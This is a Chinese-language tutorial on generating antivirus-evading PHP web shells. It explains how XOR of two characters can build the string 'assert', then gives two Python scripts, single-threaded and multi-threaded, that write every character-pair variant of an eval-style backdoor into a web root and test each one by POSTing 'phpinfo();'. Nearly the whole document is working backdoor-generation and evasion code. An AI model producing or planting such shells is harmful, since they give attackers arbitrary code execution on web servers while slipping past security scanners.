python通过异或运算构造无字符后门实现免杀

1.免杀异或shell原理

php异或：
^为异或的符号
( “!” ^ “@” )= ’a’ //两个变量的值进行异或时，会先将两个变量的值转换为ASCII，再将ASCII转换为二进制，对两对二进制数据进行异或，异或完，再将结果转为ASCII，最后将ASCII转为字符串，即为最终结果。注：34+63！=97，一定要用二进制

2.生成Payload代码并有序命名写入文件

import requests 
for i in range(1,127):
        for ii in range(1,127):
            payload="'"+chr(i)+"'"+'^'+"'"+chr(ii)+"'"
            code="<?php $a=("+payload+").'ssert';$a($_POST[x]);?>" #<?php assert($_POST[x]);?>
            #print(code)
            #将code写入文件
            filename=str(i)+'xd'+str(ii)+'.php'
            with open('D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a+') as f:
                f.write(code)
                print('Fuzz->' + filename + '文件写入成功')
                f.close()
#单线程访问shell文件并提交测试
            url = 'http://127.0.0.1:8081/x/' +filename
            data = {
                'x': 'phpinfo();'
            }
            result = requests.post(url, data=data).content.decode('utf-8')
            if 'XIAODI-PC' in result:
                print('bypass->'+filename+'->ok')
		print(code)
            else:
                print('bypass->'+filename+'->no')

3.多线程实现批量访问shell文件并提交测试是否正常连接回显

import time
import requests
import threading,queue
def bypass_check():
    while not q.empty():
        filename = q.get()
        url = "http://127.0.0.1:8081/x/" + filename
        datas = {
            'x ': 'phpinfo();'
        }
        result = requests.post(url, data=datas).content.decode('utf-8')
        if "XIAODI-PC" in result:
            print('check ->' + filename+'->ok')
        else:
            print('check ->' + filename + '->no')
        time.sleep(1)
if __name__ == '__main__':
    q = queue.Queue()
    for i in range(1,127):
        for ii in range(1, 127):
            payload = "'" + chr(i) + "'" + "^" + "'" + chr(ii) + "'"
            code = "<?php $a=(" + payload + ").'ssert';$a($_POST[x]);?>"
            filename = str(i) + 'xd' + str(ii) + '.php'
            q.put(filename)
            with open(' D:/phpstudy/PHPTutorial/WWW/x/' + filename, 'a+') as f:
                f.write(code)
                print("Fuzz文件生成成功")
    for x in range(20):
        t = threading.Thread(target=bypass_check)
        t.start()